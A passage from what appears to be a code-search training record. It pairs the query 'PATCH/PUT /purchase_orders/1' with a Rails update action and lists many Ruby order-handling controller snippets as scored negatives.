"def create\n items = params[:items]\n filtered_items = []\n items.each do |item|\n item[:quantity].times do |order|\n filtered_items << {\"apiKey\" => item[:item_api], \"customizationChoices\" => [], \"comments\" => item[:instruction]}\n end\n end\n token = ENV[\"REACT_APP_EAT_STREET_TOKEN\"]\n uri = URI.parse(\"https://api.eatstreet.com/publicapi/v1/send-order\")\n request = Net::HTTP::Post.new(uri)\n request.content_type = \"application/json\"\n request[\"X-Access-Token\"] = token\n request.body = JSON.dump({\n \"restaurantApiKey\" => processing_params[:restaurant_api_key],\n \"items\" => filtered_items,\n \"method\" => \"delivery\",\n \"payment\" => \"cash\",\n \"test\" => false,\n \"comments\" => processing_params[:comments],\n \"card\" => {\n \"apiKey\" => nil\n },\n \"address\" => {\n \"apiKey\" => nil,\n \"streetAddress\" => processing_params[:address],\n \"latitude\" => processing_params[:latitude],\n \"longitude\" => processing_params[:longitude]\n },\n \"recipient\" => {\n \"apiKey\" => nil,\n \"firstName\" => processing_params[:username],\n \"lastName\" => processing_params[:username],\n \"phone\" => processing_params[:phone],\n 'email' => processing_params[:email]\n }\n })\n\n req_options = {\n use_ssl: uri.scheme == \"https\",\n }\n\n response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n http.request(request)\n end\n\n message = ''\n if response.code == 200\n message = {error: false, details: 'You Order Has Been Processed'}\n items.each do |item|\n order = Order.find(item[:id])\n order.ordered = true\n end\n\n else\n message = response.body\n end\n\n render json: message\n end",
"def purchase_order_params\n params.require(:purchase_order).permit(:order_num, :purchase_date, :status, :sales_channel, :order_total, :num_items_shipped, :num_items_unshipped, :payment_method, :shipped_at, :shipping_price, :shipping_tax, :carrier, :tracking_number, :estimated_arrival_date, :fulfillment_center, :confirmed_at, :returned_date, :return_reason, :notes, :refunded_at, :ship_to_name, :ship_to_address)\n end",
"def create\n @order = Order.new(order_params)\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @customer_purchase = CustomerPurchase.new(customer_purchase_params)\n\n respond_to do |format|\n if @customer_purchase.save\n format.html { redirect_to @customer_purchase, notice: 'Customer purchase was successfully created.' }\n format.json { render :show, status: :created, location: @customer_purchase }\n else\n format.html { render :new }\n format.json { render json: @customer_purchase.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n res = HTTParty.get(\"http://localhost:8081/customers/?email=#{order_params['email'].to_s}\")\n codeCustomer = res.code\n dataCustomer = res.parsed_response\n p res\n res = HTTParty.get(\"http://localhost:8082/items/#{order_params['itemid'].to_s}.json\")\n #res = HTTParty.get(\"http://localhost:8082/items/#{order_params['itemid'].to_s}.json\")\n codeItem = res.code\n dataItem = res.parsed_response\n p dataItem\n if codeCustomer != 404 && codeItem != 404\n newParams = order_params\n newParams[\"award\"] = dataCustomer[\"award\"] \n newParams[\"price\"] = dataItem[\"price\"]\n newParams[\"total\"] = dataItem[\"price\"] - dataCustomer[\"award\"]\n p newParams\n \n #HTTParty.put(\"http://localhost:8081/customers/order?award=#{newParams['award']}&total=#{newParams[\"total\"]}&customerId=#{newParams['customerid']}\")\n end\n if codeCustomer == 404 || codeItem == 404\n if codeCustomer == 404 and codeItem == 404\n render json: {error: \"Customer and Item do not exist\"}, status: 400\n return\n end\n if codeCustomer == 404 and codeItem != 404\n render json: {error: \"Customer does not exist\"}, status: 400\n return\n end\n if codeCustomer != 404 and codeItem == 404\n render json: {error: \"Item does not exist\"}, status: 400\n return\n end\n else\n @order = Order.new\n @order.customerid = dataCustomer[\"id\"]\n @order.email = dataCustomer[\"email\"]\n @order.itemid = order_params[:itemid]\n @order.description = dataItem[\"description\"]\n @order.award = newParams[\"award\"]\n @order.total = newParams[\"total\"]\n @order.price = newParams[\"price\"]\n \n orderResult = HTTParty.put('http://localhost:8081/customers/order', \n :body => @order.to_json,\n :headers => {'Content-Type' => 'application/json', 'ACCEPT' => 'application/json'}\n )\n\n res = HTTParty.put(\"http://localhost:8082/items/#{order_params[:itemid]}?stockQty=#{dataItem['stockQty']-1}&description=#{dataItem['description']}&price=#{dataItem['price']}&id=#{order_params[:id]}\")\n p res\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n \n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, flash: { sucess: 'Order was successfully created.' } }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n @order.user_id = current_user.id\n @order.uuid = SecureRandom.hex(8)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render 'show', status: :created, location: @order }\n else\n format.html { render 'new' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n order_data = order_params\n order_data[:user_id] = current_user.id\n total_amount = 0\n @order = Order.new(order_data)\n @basket.basket_items.each do |basket_item|\n order_item = OrderItem.new( {\n product_id: basket_item.product_id,\n quantity: basket_item.quantity,\n price: basket_item.price\n } )\n @order.order_items << order_item\n total_amount += basket_item.price.to_f * basket_item.quantity.to_i\n end\n\n @order[:total_amount] = total_amount\n\n respond_to do |format|\n if @order.save\n @basket.destroy\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(items: items, promocode: promocode_params[:promocode])\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to new_order_path, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n subtotal = Product.find_by(id: params[:product_id]).price\n tax = subtotal * 0.09\n total = subtotal + tax\n\n order = Order.new( \n user_id: current_user.id,\n product_id: params[:product_id],\n quantity: params[:quantity],\n subtotal: subtotal,\n tax: tax,\n total: total \n )\n if order.save\n render json: {message: 'Order created successfully'}, status: :created\n else\n render json: {errors: order.errors.full_messages}, status: :bad_request\n end\n end",
"def purchase_order_params\n params.require(:purchase_order).permit(:title, :description, :client_id, :active)\n end",
"def purchase_order_params\n params.require(:purchase_order).permit(:purchase_request_id, :purchase_order_address_id, :po_number, :arrival_estimated, :status)\n end",
"def create\n @order = Order.new(tl_params)\n\n if @order.save\n if params[:product]\n \t@order.create_order(params[:product])\n end\n render json: @order, status: :created\n else\n render json: @order.errors, status: :unprocessable_entity\n end\n end",
"def add_orders params\n @orders_hash = JSON.parse(params)\n\n @orders_hash['orders'].each do |order|\n add_order(order[\"origin\"],order[\"destination\"],order[\"size\"])\n end\n true\n end",
"def create\n @order = Order.new :user_id => params[:user_id], :order_list => params[:order_list], :table_number => params[:table_number], :paid => params[:paid], :fb_user => params[:fb_user], :business_name => params[:business_name]\n @order.order_list = []\n @order.paid = false\n\n success_msg = {\n \"messages\": [\n {\"text\": \"Your order was created.\"},\n {\"text\": \"Thank you.\"}\n ]\n }\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :json => success_msg }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity, response: request.body.read }\n end\n end\n end",
"def purchase_params\n params.require(:purchase).permit(:order_id, :product_id, :quantity, :note)\n end",
"def create\n @order = current_user.orders.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t @order = Order.new\n\t code, customer = Customer.getCustomer(params[:email])\n\t \n\t if code != 200\n\t\t render json: { error: \"Customer email not found. #{params[:email]}\" }, status: 400\n\t\t return\n\t end\n\t \n\t code, item = Item.getItemById(params[:itemId])\n\t if code != 200\n\t\t render json: { error: \"Item id not found. #{params[:itemId]}\" }, status: 400\n\t\t return\n\t end\n\t \n\t if item[:stockQty] <= 0\n\t\t render json: { error: \"Item is out of stock.\"}, status: 400\n\t\t return\n\t end\n\t \n\t @order.itemId = item[:id]\n\t @order.description = item[:description]\n\t @order.customerId = customer[:id]\n\t @order.price = item[:price]\n\t @order.award = customer[:award]\n\t @order.total = @order.price - @order.award\n\t \n\t if @order.save\n \t\t# put order to customer and item subsystem to do their updates\n\t\t code = Customer.putOrder(@order)\n\t\t code = Item.putOrder(@order)\n\t\t render json: @order, status: 201\n\t else\n \t\trender json: @order.errors, status: 400\n \tend\n end",
"def post(resource, params)\n case resource\n when \"pedidos\", \"place_order\", \"new_order\" then url = \"/pedidos\"\n when \"envios\", \"shipping\" then url = \"/envios\"\n else url = \"/#{resource}\"\n end\n\n post_request(url, params)\n end",
"def purchase\n response = GATEWAY.purchase(price_in_cents, credit_card, purchase_options)\n transactions.create!(:action => \"purchase\", :amount => price_in_cents, :response => response)\n #cart.update_attribute(:purchased_at, Time.now) if response.success?\n response.success?\n end",
"def create\n @order = Order.new(params[:order])\n @order.user_id = current_user.user_id\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to order_url(@order), notice: I18n.t('orders.successfully_created') }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render action: 'show', status: :created, location: @order }\n else\n format.html { render action: 'new' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def cow_order\n @order = Order.new\n @order.lines.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def create_order(order)\n # response = post(\n # 'peatio/market/orders',\n # {\n # market: order.market.downcase,\n # side: order.side.to_s,\n # volume: order.amount,\n # price: order.price\n # }\n # )\n\n return if order.amount < 1e-8\n od = build_order(order)\n return if od.nil?\n\n# Arke::Log.debug \"Skip order creation #{od.to_json}\\n#{order.inspect}\"\n Ordering.new(od).submit\n @open_orders.add_order(order, od.id) if od.id\n Arke::Log.debug \"Order created #{od.to_json}\"\n\n # @open_orders.add_order(order, response.env.body['id']) if response.env.status == 201 && response.env.body['id']\n\n # response\n end",
"def create\n @order = Order.new(params[:order])\n end",
"def create\n order = Order.create(order_params)\n if order.save\n render json: order\n else\n render new\n end\n end",
"def create\n begin\n purchase = Purchase.new(history_params)\n purchase.package = @package\n purchase.user = current_user\n\n # Get the credit card details submitted by the form\n token = stripe_token_params\n\n # Create the charge on Stripe's servers - this will charge the user's card\n Purchase.transaction do\n promo = ParamsHelper.parse_promo_code_query(params)\n total = @package.total\n if promo\n total = promo.discount_price(total)\n purchase.promo_code = promo\n purchase.discount = @package.total - total\n end\n begin\n charge = Stripe::Charge.create(\n :amount =>(total * 100).to_i(), # amount in cents\n :currency => \"cad\",\n :source => token[:id],\n :description => \"#{@package.quantity} bids purchased\"\n )\n purchase.transaction_id = charge.id\n purchase.total = total\n\n if purchase.save\n render json: purchase\n else\n # This should NEVER happen, if it does, it requires immediate investigation\n logger.fatal \"Trying to create purchase #{purchase.inspect} resulted in errors: #{purchase.errors.full_messages}\"\n errors = errors_to_hash(purchase)\n render json: errors, status: :unprocessable_entity\n end\n rescue Stripe::CardError => e\n logger.warn \"Card declined for purchase #{purchase.inspect}\"\n warn_exception(e)\n errors = [ \"Your credit card was declined by Stripe, please contact support\"]\n render json: errors, status: :unprocessable_entity\n end\n end\n rescue ActiveRecord::RecordNotFound\n render json: {:promo_code => \"Promotion code is invalid\"}, status: :bad_request\n end\n end",
"def phone_order(params)\n path = @version + '/Phone/Order/'\n method = 'POST'\n return request(path, method, params)\n end",
"def write_order(order, request_body = nil)\n path = \"/checkout/orders\"\n path += \"/#{order.id}\" if order.id\n\n request_body ||= order.to_json\n response = https_connection.post do |req|\n req.url path\n\n req.headers['Authorization'] = \"Klarna #{sign_payload(request_body)}\"\n req.headers['Accept'] = 'application/vnd.klarna.checkout.aggregated-order-v2+json',\n req.headers['Content-Type'] = 'application/vnd.klarna.checkout.aggregated-order-v2+json'\n req.headers['Accept-Encoding'] = ''\n\n req.body = request_body\n end\n handle_status_code(response.status, response.body)\n response\n end",
"def create\n if request.xhr?\n \t\tcomps = params[:components]\n \t\tis_delivery = params[:delivery_type] == 'delivery'\n \t\tdelivery_address = params[:delivery_address]\n \t\tquantity = params[:quantity]\n \t\tuser_name = params[:user_name]\n \t\tuser_email = params[:user_email]\n \t\tuser_phone = params[:user_phone]\n \t\tuser_comment = params[:user_comment]\n \t\t\n @order = Order.create!( raisins: comps['raisins'] == 'true', chocolate_chips: comps['chocolate_chips'] == 'true', walnuts: comps['walnuts'] == 'true', flax_seeds: comps['flax seeds'], cinnamon: comps['cinnamon'],\n is_delivery: is_delivery, delivery_address: delivery_address, quantity: quantity, \n user_name: user_name, user_email: user_email, user_phone: user_phone, user_comment: user_comment)\n \n OrderMailer.email_order(@order)\n \n render :json => {order_id: @order.id, paypal_encrypted_str: @order.encrypt_paypal(thank_you_url, payment_notifications_url)}\n end\n end",
"def create\n @order = @profile.orders.build(params[:order].merge({:purchased_at => Time.now, :purchase_price => params[:order][:purchase_credit].to_f/10.0}))\n @order.ip_address = request.remote_ip\n if @order.save\n if @order.purchase\n @profile.credit += @order.purchase_credit\n @profile.save\n render :action => \"success\"\n else\n render :action => \"failure\"\n end\n else\n render :action => 'new'\n end\n end",
"def make_api_call_for_order_creation(url, api_params, access_token)\n RestClient.post(url, api_params, Authorization: \"Bearer #{access_token}\", content_type: :json)\n end",
"def purchase_order_params\n params.require(:@purchase_order).permit(:total_amount, :status, :code)\n end",
"def purchase_order_params\n params.require(:purchase_order).permit(:description, :status, :category,\n :shipping_date, :reception_date, :address)\n end",
"def create\n @purchase = Purchase.new(purchase_params)\n @purchase.update_associations(current_user, @vendor)\n # @purchase.vendor = @vendor\n # @purchase.added_by = current_user.id\n # @purchase.invoice.user = @purchase.user = current_user\n @purchase.state = \"ordered\"\n respond_to do |format|\n if @purchase.save\n format.html { redirect_to purchase_path(@purchase), notice: 'Purchase was successfully created.' }\n format.json { render action: 'show', status: :created, location: @purchase }\n else\n format.html { render action: 'new' }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @title = t 'view.orders.new_title'\n @order = current_customer.orders.build(params[:order])\n session[:documents_to_order].try(:clear)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: t('view.orders.correctly_created') }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: 'new' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @purchase_order = PurchaseOrder.new(purchase_order_params)\n @purchase_order.reference = Time.now.strftime(\"%m%y\") + '-' +(PurchaseOrder.where(\"EXTRACT(MONTH FROM created_at) = #{Time.now.strftime(\"%m\")} AND parent_id IS NULL\").count + 1).to_s\n respond_to do |format|\n if @purchase_order.save\n format.html { redirect_to @purchase_order, notice: t('purchase_orders.success_create') }\n format.json { render :show, status: :created, location: @purchase_order }\n else\n format.html { render :new }\n format.json { render json: @purchase_order.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.7130033",
"0.7049944",
"0.70488024",
"0.70105404",
"0.69538826",
"0.6912126",
"0.69055",
"0.68661004",
"0.6859178",
"0.6848946",
"0.6833895",
"0.6757425",
"0.67062426",
"0.66963494",
"0.66725725",
"0.66507685",
"0.6598269",
"0.6568256",
"0.655866",
"0.6553917",
"0.65496546",
"0.6528244",
"0.65193284",
"0.6502369",
"0.65011454",
"0.6491198",
"0.6491198",
"0.6491198",
"0.64906377",
"0.64681196",
"0.6454017",
"0.64459234",
"0.6442571",
"0.6439637",
"0.6437932",
"0.6419723",
"0.6399103",
"0.6394803",
"0.63880146",
"0.6387806",
"0.638598",
"0.6385394",
"0.6373634",
"0.6368662",
"0.6365611",
"0.6359968",
"0.635786",
"0.635786",
"0.635786",
"0.635786",
"0.63572097",
"0.6354561",
"0.6347386",
"0.6347386",
"0.6345492",
"0.6339207",
"0.63214266",
"0.63214266",
"0.63214266",
"0.63214266",
"0.63214266",
"0.63214266",
"0.63214266",
"0.63214266",
"0.63214266",
"0.63214266",
"0.63214266",
"0.6314962",
"0.63087",
"0.6302893",
"0.629773",
"0.62908",
"0.6286116",
"0.6284448",
"0.62781334",
"0.62775606",
"0.62706065",
"0.62684804",
"0.6249096",
"0.6248347",
"0.6246935",
"0.62419796",
"0.62358886",
"0.6232406",
"0.62288296",
"0.6223017",
"0.6221527",
"0.62174296",
"0.621533",
"0.6214735",
"0.6213207",
"0.6208647",
"0.6199633",
"0.6190573",
"0.6189856",
"0.6189427",
"0.6184019",
"0.6174572",
"0.61726624",
"0.617253"
] |
0.6370445
|
43
|
PATCH/PUT /purchase_orders/1 PATCH/PUT /purchase_orders/1.json
|
def update
respond_to do |format|
if @purchase_order.update(purchase_order_params)
format.html {
flash[:notice] = 'La Orden de Compra se actualizó satisfactoriamente.'
redirect_to purchase_orders_path
}
format.json { render :show, status: :ok, location: @purchase_order }
else
format.html { render :edit }
format.json { render json: @purchase_order.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @purchaseorder = Purchaseorder.find(params[:id])\n\n respond_to do |format|\n if @purchaseorder.update_attributes(params[:purchaseorder])\n format.html { redirect_to @purchaseorder, notice: 'Purchaseorder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @purchaseorder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @purchase_order.update(purchase_order_params)\n\n @purchase_order.record_update(current_user, purchase_order_params)\n \n format.html { redirect_to @purchase_order, notice: 'Purchase order was successfully updated.' }\n format.json { respond_with_bip @purchase_order }\n else\n format.html { render action: 'edit' }\n format.json { render json: @purchase_order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @purchase_order.update(purchase_order_params)\n render :show, status: :ok, location: @purchase_order\n else\n render json: @purchase_order.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @purchase_order.update(purchase_order_params)\n format.html { redirect_to @purchase_order, notice: t('purchase_orders.success_update') }\n format.json { render :show, status: :ok, location: @purchase_order }\n else\n format.html { render :edit }\n format.json { render json: @purchase_order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @purchase_order.update(purchase_order_params)\n format.html { redirect_to @purchase_order, notice: \"Purchase order was successfully updated.\" }\n format.json { render :show, status: :ok, location: @purchase_order }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @purchase_order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @purchase_order.update(purchase_order_params)\n format.html { redirect_to [:admin, @purchase_order], notice: 'Purchase order was successfully updated.' }\n format.json { render :show, status: :ok, location: @purchase_order }\n else\n format.html { render :edit }\n format.json { render json: @purchase_order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @purchaseorder.update(purchaseorder_params)\n format.html { redirect_to @purchaseorder, notice: 'Purchaseorder was successfully updated.' }\n format.json { render :show, status: :ok, location: @purchaseorder }\n else\n format.html { render :edit }\n format.json { render json: @purchaseorder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @purchase.update(purchase_params)\n format.json { head :no_content }\n else\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @power_order.update(power_order_params)\n render json: @power_order\n end",
"def update\n @order = Order.find(params[:id])\n\n if @order.update(order_params)\n head :no_content\n else\n render json: @order.errors, status: :unprocessable_entity\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n if @order.update(order_params)\n head :no_content\n else\n render json: @order.errors, status: :unprocessable_entity\n end\n end",
"def update\n @purchase_order = PurchaseOrder.find(params[:id])\n\n respond_to do |format|\n if @purchase_order.update_attributes(params[:purchase_order])\n format.html { redirect_to(@purchase_order, :notice => 'Purchase Order was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @purchase_order.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @purchase = Purchase.find(params[:id])\n\n respond_to do |format|\n if @purchase.update_attributes(params[:purchase])\n format.html { redirect_to @purchase, :notice => 'Purchase was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @purchase.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @v1_order = V1::Order.find(params[:id])\n\n case @v1_order.state\n when 0\n if @v1_order.update(v1_order_params)\n head :no_content\n else\n render json: @v1_order.errors, status: :unprocessable_entity\n end\n else\n render json: {message: 'Can be edited only when in draft(0) state'}, status: 400\n end\n \n end",
"def update\n @purchase = Purchase.find(params[:id])\n\n respond_to do |format|\n if @purchase.update_attributes(params[:purchase])\n format.html { redirect_to @purchase, notice: 'Purchase was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @purchase = Purchase.find(params[:id])\n\n respond_to do |format|\n if @purchase.update_attributes(params[:purchase])\n format.html { redirect_to @purchase, notice: 'Purchase was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @purchase = Purchase.find(params[:id])\n\n respond_to do |format|\n if @purchase.update_attributes(params[:purchase])\n format.html { redirect_to @purchase, notice: 'Purchase was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @purchase = Purchase.find(params[:id])\n\n respond_to do |format|\n if @purchase.update_attributes(params[:purchase])\n format.html { redirect_to @purchase, notice: 'Purchase was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @purchase_order.update(purchase_order_params)\n format.html { \n flash[:notice] = 'La orden de compra se actualizó satisfactoriamente.'\n redirect_to purchase_orders_path\n }\n format.json { render :show, status: :ok, location: @purchase_order }\n else\n format.html { render :edit }\n format.json { render json: @purchase_order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n # shop = ShopifyAPI::Shop.current\n\n # f = ShopifyAPI::Fulfillment.new({order_id: @order.shopify_order_id,\n # location_id: @order.location_id,\n # line_items: @order.shopify_product_id,\n # tracking_number: @order.tracking_numbers})\n # f.prefix_options = { :order_id => @order.shopify_order_id }\n # f.save!\n # respond_to do |format|\n if @order.update(order_params)\n # ShopifyAPI::Fulfillment.new({order_number: @order.shopify_order_id,\n # location_id: @order.location_id,\n # line_items: @order.shopify_product_id,\n # tracking_numbers: @order.tracking_numbers})\n f = ShopifyAPI::Fulfillment.new(\n :location_id => \"#{@order.location_id}\",\n :line_item => \"#{@order.shopify_product_id}\",\n :tracking_number => \"#{@order.tracking_numbers}\",\n :tracking_company => \"USPS\",)\n f.prefix_options = { :order_id => \"#{@order.shopify_order_id}\" }\n f.save!\n # format.html { redirect_to '/', notice: 'Order was successfully updated.' }\n # format.json { render :show, status: :ok, location: @order }\n else\n # format.html { render :edit }\n # format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n # end\n end",
"def update\n #@order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, :notice=>\"Order was successfully updated.\"}\n format.json { head :ok }\n else\n format.html { render :action=>\"edit\" }\n format.json { render :json=>@order.errors, :status=>\"unprocessable_entry\" }\n end\n end\n end",
"def update\n @purchase_order_item = PurchaseOrderItem.find(params[:id])\n\n respond_to do |format|\n if @purchase_order_item.update_attributes(params[:purchase_order_item])\n format.html { redirect_to @purchase_order_item, notice: 'Purchase order item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @purchase_order_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n @orders = Order.all\n @order = Order.find(params[:id])\n\n @order.update_attributes(order_params)\n\n=begin\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n=end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to orders_path, notice: 'Order was successfully updated.' }\n format.json { render json:@order }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @order.update(order_params)\n render :show, status: :ok, location: @order\n else\n render json: @order.errors, status: :unprocessable_entity\n end\n end",
"def update\n @shop_purchase = Shop::Purchase.find(params[:id])\n\n respond_to do |format|\n if @shop_purchase.update_attributes(params[:shop_purchase])\n format.html { redirect_to @shop_purchase, notice: 'Purchase was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shop_purchase.errors, status: :unprocessable_entity }\n end\n end\n end",
